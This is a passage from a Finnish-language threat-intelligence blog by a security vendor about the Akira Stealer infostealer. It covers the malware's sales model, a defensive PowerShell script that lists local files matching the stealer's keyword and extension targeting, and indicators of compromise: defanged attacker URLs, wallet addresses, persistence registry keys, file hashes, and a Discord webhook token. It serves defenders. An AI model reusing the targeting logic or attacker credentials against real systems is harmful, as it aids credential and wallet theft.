10.2 Kyberrikollisuuden kaupallistaminen
Akiran rakenne heijastaa laajempaa liikettä kohti "Malware-as-a-Service"-mallia (MaaS), jossa:
- Syvää teknistä osaamista ei vaadita hyökkäysten käynnistämiseen
- Matalat aloituskustannukset ($75 kolmeksi kuukaudeksi, $150 elinikäiseksi)
- Välitön tuki ja dokumentaatio Telegramin kautta
- Yhteisön panokset laajentavat Akiraa säännöllisesti skripteillä ja ominaisuusehdotuksilla
Tämä ekosysteemi peilaa laillisia SaaS-liiketoimintamalleja — muutoslokeineen, käyttökokemusparannuksineen, hinnoittelutasoineen ja lisämyynteineen.

10.3 Stealerin tuolla puolen – ekosysteemin komponentit
Vaikka astor.py on monien hyökkäysten sydän, ekosysteemi tarjoaa täyden ketjun:
- Obfuskointityökaluja kuten PyInstaller-kääreet
- Tiedostobindereitä haitallisten payloadien yhdistämiseen vaarattomaan ohjelmistoon
- Kääntäjiä, kryptereitä ja ajonaikaista polymorfismia
- Hosting-peilejä payloadin toimitukseen ja exfiltraatioon (esim. GoFile, AnonFiles)
- Datanhallintaboteja, jotka tekevät yhteenvedon varastetuista tunnistetiedoista ja laitteistoprofiileista

11. Akira Stealer QuickCheck: kohteeksi joutuneet tiedostot
11.1 Mihin tämä on tarkoitettu?
Epäillyn Akira Stealer -tartunnan jälkeen on kriittistä tietää heti, mitkä järjestelmäsi tiedostot olivat exfiltraation vaarassa. Yllä kuvattu QuickCheck PowerShell -skripti replikoi Akiran tarkan hakulogiikan: se skannaa käyttäjän Desktop-, Documents-, Downloads- ja OneDrive-kansiot tiedostojen varalta, jotka:
- Sisältävät arkaluonteisia avainsanoja tiedostonimessään, kuten
password,wallet,backuptaitoken - Ovat tiettyjä yleisesti kohteena olevia tiedostopäätteitä (.txt, .docx, .pdf, .jpg jne.)
- Jäävät haittaohjelman asettaman 2 MB:n kokorajan alle
Vaikka QuickCheck tarjoaa nopean yleiskuvan Akira Stealerin sisäisen logiikan pohjalta, se ei korvaa kattavia forensisia työkaluja tai ammattimaista incident responsea. Seuraa vahvistettujen murtojen kohdalla aina syvemmällä analyysillä.
Sen jälkeen se esittää lajitellun taulukon, jossa on tiedostonimi, suhteellinen polku, Size (KB) ja osuman laukaissut avainsana.
DISCLAIMER Tämä työkalu toimitetaan ”as is” ilman minkäänlaista takuuta täydellisyydestä tai soveltuvuudesta tiettyyn tarkoitukseen. Se ei takaa kaikkien mahdollisesti arkaluonteisten tiedostojen havaitsemista eikä korvaa täyttä haittaohjelmaforensiikkaa. Käyttö omalla vastuulla.
Oikeudellinen huomautus
Tämä QuickCheck-apuohjelma on tarkoitettu ainoastaan defensiivisiin tietoturva-arviointeihin. Luvaton skannaus tai käyttö järjestelmissä, joita et omista, voi rikkoa yksityisyyttä, tekijänoikeutta tai tietokoneiden väärinkäyttöä koskevia lakeja. glueckkanja AG ei ota mitään vastuuta väärinkäytöstä tai vahingoista, jotka aiheutuvat sen käytöstä.
PowerShell-skripti
<#
.SYNOPSIS
QuickCheck: Lists all files that Akira Stealer would potentially exfiltrate.
.DESCRIPTION
Scans Desktop, Documents, Downloads and OneDrive for files that:
• Contain one of the defined keywords in their name
• Have an allowed file extension
• Are not larger than 2 MB
Presents the results in a colored, tabular overview.
.NOTES
© glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach
#>
# -------------------------------------
# 1. Configuration
# -------------------------------------
$scanFolders = @(
"$env:USERPROFILE\Desktop",
"$env:USERPROFILE\Documents",
"$env:USERPROFILE\Downloads",
"$env:USERPROFILE\OneDrive"
)
$keywords = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'
$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'
$maxSize = 2MB
# -------------------------------------
# 2. Scan and Collect Matches
# -------------------------------------
$matches = [System.Collections.Generic.List[PSObject]]::new()
foreach ($folder in $scanFolders) {
if (-not (Test-Path $folder)) { continue }
Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
# 2.1 Extension filter
if ($extensions -notcontains $_.Extension.ToLower()) { return }
# 2.2 Size filter
if ($_.Length -gt $maxSize) { return }
# 2.3 Keyword filter: explicit loop to avoid null-method calls
$hit = $null
foreach ($kw in $keywords) {
if ($_.Name.ToLower().Contains($kw)) {
$hit = $kw
break
}
}
if (-not $hit) { return }
# 2.4 Build relative path
$rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)
# 2.5 Collect
$matches.Add([PSCustomObject]@{
FileName = $_.Name
Location = $rel
'Size (KB)' = [math]::Round($_.Length / 1KB, 1)
Keyword = $hit
})
}
}
# -------------------------------------
# 3. Display Results
# -------------------------------------
clear
Write-Host "🔍 glueckkanja AG – Akira Stealer QuickCheck" -ForegroundColor Cyan
Write-Host "────────────────────────────────────────────────────────" -ForegroundColor DarkCyan
if ($matches.Count -gt 0) {
$matches |
Sort-Object Location, FileName |
Format-Table -AutoSize `
@{Label='File'; Expression={$_.FileName}},
@{Label='Location'; Expression={$_.Location}},
@{Label='Size (KB)'; Expression={$_. 'Size (KB)'}},
@{Label='Keyword'; Expression={$_.Keyword}}
Write-Host "`n⚠️ Total potential matches: $($matches.Count)" -ForegroundColor Yellow
}
else {
Write-Host "✅ No potentially compromised files found." -ForegroundColor Green
}
Write-Host "`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach" -ForegroundColor DarkGray
Write-Host "Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full forensic analysis." -ForegroundColor DarkGray
12. Vasteen jälkeen – näin glueckkanja CSOC muuttaa poikkeamat oivalluksiksi
Useimmat tietoturvaoperaatiokeskukset pysähtyvät rajaamiseen. Me emme.
glueckkanja CSOC:ssä uskomme, ettei incident response ole maaliviiva—se on lähtöpiste.
Kun muut julistavat voiton ja siirtyvät eteenpäin, me sukellamme syvemmälle. Meille jokainen poikkeama on tilaisuus oppia, mukautua ja tulla vahvemmaksi. Väsymätön uteliaisuutemme, jota ruokkivat vuosien syvä forensinen asiantuntemus ja reverse engineering -kyvykkyys, varmistaa, ettemme vain puolusta—me ennakoimme.
Tämän filosofian vuoksi rakensimme Akira Compromise Reporterin.
Tämä sisäisesti kehitetty forensinen työkalu menee paljon perushavaitsemista pidemmälle ja hyödyntää läheistä tuntemustamme Akira Stealerista tarjotakseen ehdottoman selkeyden siitä, mitä dataa on vaarannettu. Minuuteissa se tuottaa täsmällisen, toimintakelpoisen tilannekuvan poikkeaman koko vaikutuksesta:
- Tarkalleen mitkä tunnistetiedot, tokenit ja selainistunnot varastettiin.
- Täsmälleen mitkä kryptovaluuttalompakot, viestintätilit ja tiedostot altistuivat.
- Selkeä, jäsennelty ja yksityiskohtainen forensinen raportti—muuttaen epävarmuuden välittömäksi, tietoon perustuvaksi toiminnaksi.

Koska me glueckkanjalla mittaamme menestyksemme paitsi estettyjen uhkien myös tarjotun selkeyden perusteella. Oikein tehty kyberturvallisuus ei tarkoita pelkkää reagointia poikkeamiin—se tarkoittaa ymmärtämistä, mukautumista ja jatkuvaa askeleen edellä pysymistä.
Se on glueckkanja CSOC:n ero.
13. Indicators of Compromise (IOCs)
Alla on kattava, sanatarkka kokoelma IOC-indikaattoreita, jotka on poimittu suoraan haittaohjelmakoodista glueckkanja CSOC:n sisäisen reverse engineering -prosessin aikana. Oletuksia tai ulkoisia threat intelligence -lähteitä ei käytetty — kaikki indikaattorit ovat vahvistettuja havaintoja. Kaikki URL:t on tarkoituksella obfuskoitu vahinkoklikkausten estämiseksi.
Lyhenteet:
- TG: Telegram-raportointikanava
- Alt: Vaihtoehtoinen (vara-) päätepiste
1. Verkkotunnukset & URL:t
| Kategoria | Obfuskoitu URL | Kuvaus |
|---|---|---|
| Ensisijainen injektio | https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/inj[.]php |
Hyökkääjän ensimmäinen webhook-päätepiste |
| Vara-injektio | https[:]//cosmoplanets[.]net/.well-known/pki-validation/inj[.]php |
Vaihtoehtoinen injektoripäätepiste |
| Virheraportointi (TG) | https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/link[.]php |
Telegramin virhe-/lokiraportoinnin URL |
| Virheraportointi (Alt) | https[:]//cosmoplanets[.]net/.well-known/pki-validation/link[.]php |
Vaihtoehtoinen virhe-/lokiraportoinnin URL |
| Vanity-botti (TG) | https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/mumu[.]php |
Vanity-osoitteen ilmoituspäätepiste |
| Vanity-botti (Alt) | https[:]//cosmoplanets[.]net/well-known/pki-validation/mumu[.]php |
Vaihtoehtoinen vanity-ilmoituspäätepiste |
| Exodus-injektio | https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/exodus[.]asar |
Electronin Exodus-sovellusmoduuli |
| Atomic-injektio | https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/atomic[.]asar |
Electronin AtomicWallet-moduuli |
| Updater-lataus | https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/Updater[.]exe |
Persistence-dropperin suoritettava tiedosto |
| Gofile API -lista | https[:]//api.gofile[.]io/servers |
Hakee parhaan GoFile-latauspalvelimen |
| Discord-tokenin tarkistus | https[:]//discordapp[.]com/api/v9/users/@me |
Validoi varastetun Discord-tokenin |
| Discord-laskutustiedot | https[:]//discord[.]com/api/users/@me/billing/payment-sources |
Hakee laskutusmenetelmät |
| Google OAuth -replay | https[:]//accounts[.]google[.]com/oauth/multilogin |
Toistaa varastetut Google-istuntotokenit |
| IP-tarkistus (hosting) | http[:]//ip-api[.]com/line/?fields=hosting |
Hosting-ympäristön havaitseminen |
| IP-haku (geo) | http[:]//ip-api[.]com/json/{ip} |
Paikannus IP:n perusteella |
| Julkisen IP:n haku | https[:]//api[.]ipify[.]org |
Hakee ulkoisen IP-osoitteen |
| File.io-lataus | https[:]//file[.]io/ |
Toissijainen exfiltraatiokanava |
| Oshi.at-lataus | http[:]//oshi[.]at/ |
Kolmassijainen exfiltraatiokanava |
| JS-dropper ensisijainen | https[:]//rentry[.]co/7vzd22fg36hfdd33/raw | Etäviittaus varsinaiseen ZIP-URL:iin |
| JS-dropper vara 1 | https[:]//cosmicdust[.]zip/.well-known/pki-validation/pyth.zip | Vaihtoehtoinen payload-ZIP |
| JS-dropper vara 2 | https[:]//cosmoplanets[.]net/well-known/pki-validation/pyth.zip | Toissijainen vara-payload-ZIP |
2. Kryptovaluutta-osoitteet
| Valuutta | Osoite |
|---|---|
| BTC | bc1qnmz2l8lr0yzj9eun48dyds7rlzg6t6hk5vw5zt |
| ETH | 0xa8a2C9e3fbCde807101dBD87aF7b51583f83d1D5 |
| DOGE | DACeoqWDPmNARSZAeDZPFwqwecbByaksmd |
| LTC | LLQtaBnSAFpCFUw5cXRRka7Nvtrs4Up9bH |
| XMR | 4AVdkoC16zwcjxF4q9cXdL2D4vGqC9iPAcQ9gmHzQ7JS1fUUff6Za3D6CKm9MsDrhSDRY9hgeca7yKnMGpaD8dq6Bo3mT7D |
| BCH | qrfs8ee558t0a2dlp9v6h4qzns5cd6pltqrrn883xs |
| DASH | XpeiSH1MfQYeehTfxosYHyTHzbgu2LNsG1 |
| TRX | TFuYQoosCUqbVjibowMqaa3W3h3RtAVDbK |
| XRP | r36AwwhUH7BRujevi5mukbDrG46KGbTk8V |
| XLM | GAEPMD52PX7FYX65AJJLEFZSH3DZSL3DKM2XRXHVJP4CLJFIBKI25C33 |
3. Rekisteriavaimet / -polut
| Rekisteripolku | Tarkoitus |
|---|---|
HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\DriverDesc |
Tarkistaa virtuaalisen GPU-ajurin signatuurin |
HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\ProviderName |
Tarkistaa virtuaalisen GPU:n toimittajan nimen |
HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run (arvo Realtek Audio) |
Persistence Run-avaimen kautta (Updater.exe) |
%APPDATA%\Microsoft\Internet Explorer\UserData\Updater.exe |
Persistence-suoritettava |
5. Tiedostot & hashit
| Tiedostonimi | SHA256 | Koko (tavua) |
|---|---|---|
| app-64.7z | 331A4A4D721A1B5B1BB5E9A5C13462D5CDB16248DEFE0F16BE6E1E57C275E380 |
63936274 |
| main.exe | C98F0F5B89C6DAC1482286FAA2E33A84230C26EA38DA4E013665582C9A04213B |
162036224 |
| jscrypter.js | 0A47985F8B3716058B0DF6C68EC97D0F1F3CB0F7A31562A819C3E766ED4CDCEF |
1429 |
| obf.js | 1E666F3CF6E3DA6EED973E00E81EC721B33B17D4E981CB506F62F349DC1B3343 |
30138 |
| input.js | E375DE29E23C43627B2894EA01B6B1C7D9B1BD37E7305EEC7185CEE9719924A7 |
7155 |
| package.json | 972C634FD0666BCA12A6B7A50E69C32610321E9EC4D28D65734E55437D345CC6 |
211 |
| astor.py | 850361AF7D6C006900FC638D6ACBD9A6362385BAD0530CFBD52555E6415DB3A4 |
205210 |
| exodus.asar | 6A3B5D5A6BA5925DF39351830D92A2B5E4720803FE9F8040C3E67C12F668F4EB |
132486332 |
| pow.bat | 10E4A6B54CC0CF4D18DDE8B69E0B305ABE487E07ED990C5BFF82CE30B217B910 |
28454 |
| download.dat | C49E83A5F154F7E54CA0CE9EECEA066A721966786F2850626252DDA0BE0BF79B |
21142 |
| pyth.zip | E6F6AD49076367A58220E48691A34E33C18F0285FD9C50879A9B83A99F840AD7 |
32375391 |
| Updater.exe | 36C34E39DC7D54C4C97DDEB9B6C7FD429DB26C34D65CCE8BE3523FDFDB7CEBE0 |
37652937 |
5. Discord- & Telegram-tunniste
| Kategoria | Arvo |
|---|---|
| Discord Webhook ID | 1226766972675428372 |
| Discord Webhook Token | BuBywdldEWncg7fbIpEhCROLpkGLkYirOoP2bP-uzzOatDaxSpaWqaLNerun85qCfwNz |
| Telegram-ID | 5035121855 |
14. Katsaus Akira Stealer -poikkeamaan: vahvista puolustustasi glueckkanja CSOC:n avulla
Tämän blogin läpi olemme tarkastelleet Akira-infostealerin hienostunutta luonnetta—kehittynyttä kyberuhkaa, jolle on ominaista kohdennettu tunnistetietojen varastaminen, huomaamaton datan exfiltraatio ja pysyvät menetelmät perinteisen puolustuksen väistämiseksi. Sen ymmärtäminen, miten tämä haittaohjelma toimii, mitä riskejä se aiheuttaa ja mitä haavoittuvuuksia se hyödyntää, on ratkaisevaa vankan kyberturvallisuusstrategian rakentamisessa.
Akira-infostealer kohdistuu erityisesti arkaluonteiseen dataan, kuten kirjautumistietoihin, selainistuntoihin, kryptovaluuttalompakoihin, viestintäpalveluihin sekä henkilökohtaisiin tai organisaation tiedostoihin. Sen laskelmoidut ja täsmälliset menetelmät vaativat enemmän kuin pelkkiä tavanomaisia tietoturvatoimia—ne edellyttävät jatkuvaa valvontaa, perusteellista forensista analyysiä ja proaktiivista threat intelligenceä.
glueckkanja CSOC:ssä hyödynnämme syvää teknistä asiantuntemustamme ja edistyneitä analyyttisiä kyvykkyyksiämme mennäksemme pelkkää havaitsemista pidemmälle. Erikoistunut tiimimme valvoo uhkia jatkuvasti reaaliajassa omilta CSOC-palvelimiltamme, mikä mahdollistaa Akira-infostealerin kaltaisten uhkien välittömän tunnistamisen, perusteellisen tutkinnan ja tehokkaan neutraloinnin.
Työmme ei kuitenkaan pysähdy incident responseen. Jokainen havaittu poikkeama rikastuttaa tietämyskantaamme, vahvistaa tietoturva-asemaamme ja varmistaa, että pysymme useita askelia tulevien uhkien edellä. glueckkanja CSOC:n kanssa saat enemmän kuin suojausta—saat mukautuvan tietoturvakumppanin, joka on sitoutunut pitkän aikavälin kestävyyteesi.
Ota seuraava askel organisaatiosi digitaalisten resurssien turvaamisessa.
Ota tänään yhteyttä glueckkanjan kyberturvallisuusasiantuntijoihin, niin turvataan tulevaisuutesi proaktiivisesti yhdessä.
Vahvista puolustustasi glueckkanja CSOC:n avulla.
15. Tietoturva- ja vastuuvapauslauseke – todellisen haittaohjelmakoodin käyttö
Tämä julkaisu sisältää yksityiskohtaisia teknisiä havaintoja, mukaan lukien koodikatkelmia ja käyttäytymisen erittelyjä, jotka on johdettu todellisesta haitallisesta ohjelmistosta, joka löydettiin incident responsen ja forensisten tutkimusten aikana. Näiden tietojen jakamisen tarkoitus on tiukasti koulutuksellinen, ja se on tarkoitettu auttamaan ammattimaisia puolustajia ymmärtämään, havaitsemaan ja vastaamaan todellisiin uhkiin tehokkaammin. Julkaisemme tämän hyvässä uskossa ja tarkoituksena edistää laajempaa tietoturvayhteisöä.
On tärkeää huomata, että osat mukana olevasta koodista ovat peräisin uhkatoimijoiden työkalupakeista ja luonnossa liikkuvista haittaohjelmanäytteistä. Nämä sirpaleet eivät ole meidän immateriaalista omaisuuttamme, eikä niitä tule pitää turvallisina, puhdistettuina tai muutoin "vaarattomina". Tällaisen koodin toistamista tai operatiivista käyttöä ei nimenomaisesti suositella. Lukijoiden on ymmärrettävä, että vaikka tämä materiaali palvelee tutkimus- ja tietoisuustoimintoa, se kantaa luonnostaan riskiprofiilia, jota ei tule aliarvioida.
Vain koulutetut ammattilaiset, jotka toimivat laillisesti valtuutetuissa ympäristöissä—kuten akkreditoidut tietoturvatiimit, SOC-yksiköt, akateemiset tutkijat tai haittaohjelmalaboratoriot—tulisi olla tekemisissä kuvattujen tekniikoiden tai koodin kanssa. Kaiken kokeilun on rajoituttava eristettyihin, tuotannon ulkopuolisiin järjestelmiin ja noudatettava sovellettavia lakeja, sisäisiä käytäntöjä ja eettisiä standardeja.
Emme tarjoa tukea tai validointia millekään toistetulle koodille tai käyttäytymiselle. Emme takaa tarkkuutta, merkityksellisyyttä tai täydellisyyttä. Lisäksi torjumme nimenomaisesti tämän sisällön kaiken käytön offensiivisiin tarkoituksiin, luvattomaan red teamingiin, kaupalliseen haittaohjelmakehitykseen tai vastustajatestaukseen laillisesti määritellyn laajuuden ulkopuolella. Kaikki väärinkäyttö voi johtaa oikeudellisiin seuraamuksiin. glueckkanja AG kiistää kaiken vastuun suorista tai epäsuorista vahingoista, jotka aiheutuvat tämän sisällön käytöstä tai väärintulkinnasta.
Jatkamalla tämän sisällön lukemista tai siihen viittaamista hyväksyt edellä mainitun ja sitoudut olemaan väärinkäyttämättä, toistamatta tai soveltamatta mitään sen osaa laittomissa tai epäeettisissä yhteyksissä. Epävarmoissa tapauksissa ota yhteyttä juridiseen, compliance- tai tietosuojaosastoosi ennen kuin ryhdyt live-koodianalyysiin tai vastaavaan tekniseen materiaaliin.
Tämä julkaisu toimitetaan "as is", ilman takuuta, tukea tai vastuuta.















